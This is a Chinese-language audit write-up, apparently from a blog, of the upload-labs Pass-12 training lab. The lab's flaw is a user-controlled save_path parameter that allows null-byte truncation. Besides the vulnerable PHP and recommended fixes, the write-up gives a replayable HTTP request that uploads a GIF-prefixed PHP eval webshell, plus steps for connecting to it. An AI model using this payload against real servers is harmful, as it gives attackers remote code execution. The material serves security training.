upload-labs_Pass-12_2026-08-09

upload-labs 文件上传漏洞靶场代码审计报告

一、靶场信息

项目 内容
靶场名称 upload-labs
关卡编号 Pass-12
漏洞类型 上传路径可控导致空字节截断(GET 参数)
审计日期 2026-08-09
目标文件 Pass-12/index.php

二、漏洞概述

Pass-12 虽然对上传文件的后缀名做了白名单校验(仅允许 jpgpnggif),但保存路径 save_path 完全由用户通过 GET 参数控制。在 PHP 5.2.x 等旧版本中,攻击者可以在 save_path 中插入空字节(%00),使路径在空字节处截断,从而将文件保存为任意名称(如 shell.php),实现任意文件上传。

  • 危险等级:高危
  • 影响范围:PHP < 5.3.4 环境中可上传任意文件

三、问题代码位置

文件路径Pass-12/index.php

问题代码片段(第 8-23 行)

if(isset($_POST['submit'])){
    $ext_arr = array('jpg','png','gif');
    $file_ext = substr($_FILES['upload_file']['name'],strrpos($_FILES['upload_file']['name'],".")+1);
    if(in_array($file_ext,$ext_arr)){
        $temp_file = $_FILES['upload_file']['tmp_name'];
        $img_path = $_GET['save_path']."/".rand(10, 99).date("YmdHis").".".$file_ext;

        if(move_uploaded_file($temp_file,$img_path)){
            $is_upload = true;
        } else {
            $msg = '上传出错!';
        }
    } else{
        $msg = "只允许上传.jpg|.png|.gif类型文件!";
    }
}

四、漏洞分析

4.1 为什么存在这个问题

代码从 $_GET['save_path'] 获取保存目录,未做任何校验或过滤,直接与随机文件名拼接。攻击者可以构造 save_path=../upload/shell.php%00,使得最终路径为 ../upload/shell.php\x00/xx20260809xxxx.jpg。由于 PHP 空字节截断,move_uploaded_file() 实际保存为 ../upload/shell.php

4.2 校验逻辑缺陷

  • 用户可完全控制保存路径参数。
  • 未对路径进行规范化、过滤或白名单校验。
  • 未过滤空字节等危险字符。
  • 虽然文件后缀校验是白名单,但保存路径截断绕过了该限制。

五、利用思路

攻击者上传一个合法的图片文件(如任意 .jpg),同时通过 GET 参数设置 save_path=../upload/shell.php%00。服务端校验文件后缀为 jpg 通过,但保存路径在空字节处截断,最终生成 upload/shell.php,内容为上传的图片文件数据(可在图片中嵌入 PHP 代码形成图片马)。


六、POC(Yakit 可直接重放)

6.1 前提条件

  • 靶场访问地址:http://target.com/upload-labs/Pass-12/index.php
  • PHP 版本低于 5.3.4
  • 准备一个图片马文件 shell.jpg,内容示例(可在图片数据后追加):
GIF89a
<?php @eval($_POST['cmd']); ?>

或先准备任意 .jpg 文件,再追加 PHP 代码。

6.2 Yakit 重放 HTTP 请求包

POST /upload-labs/Pass-12/index.php?save_path=../upload/shell.php%00 HTTP/1.1
Host: target.com
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary7MA4YWxkTrZu0gW
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.9
Connection: close

------WebKitFormBoundary7MA4YWxkTrZu0gW
Content-Disposition: form-data; name="upload_file"; filename="shell.jpg"
Content-Type: image/jpeg

GIF89a
<?php @eval($_POST['cmd']); ?>
------WebKitFormBoundary7MA4YWxkTrZu0gW
Content-Disposition: form-data; name="submit"

上传
------WebKitFormBoundary7MA4YWxkTrZu0gW--

6.3 利用步骤

  1. 在 Yakit 中新建 HTTP 请求并粘贴上述 POC。
  2. 修改 Host 为实际靶场地址。
  3. 在请求 URL 中保留 save_path=../upload/shell.php%00
  4. 发送请求,服务端校验 .jpg 后缀通过。
  5. 访问上传文件:http://target.com/upload-labs/upload/shell.php
  6. 使用 Webshell 管理工具连接,密码 cmd

七、修复建议

  1. 禁止用户控制保存路径:保存路径应在服务端硬编码或严格校验。
  2. 过滤空字节等控制字符:对路径参数进行正则校验。
  3. 使用白名单后缀:本关已做到,但被路径截断绕过,需同时修复路径问题。
  4. 重命名上传文件:使用随机文件名。
  5. 上传目录禁止脚本执行:从 Web 服务器层限制解析。
  6. 升级 PHP 版本:PHP 5.3.4 修复了空字节截断问题。

安全代码示例

$allowed_ext = ['jpg', 'jpeg', 'png', 'gif'];
$ext = strtolower(pathinfo($_FILES['upload_file']['name'], PATHINFO_EXTENSION));
if (!in_array($ext, $allowed_ext)) {
    die('只允许上传图片文件');
}
$save_path = '../upload/'; // 服务端硬编码
$new_name = md5(uniqid()) . '.' . $ext;
move_uploaded_file($_FILES['upload_file']['tmp_name'], $save_path . $new_name);

八、参考链接

发表评论

您的邮箱地址不会被公开。 必填项已用 * 标注

滚动至顶部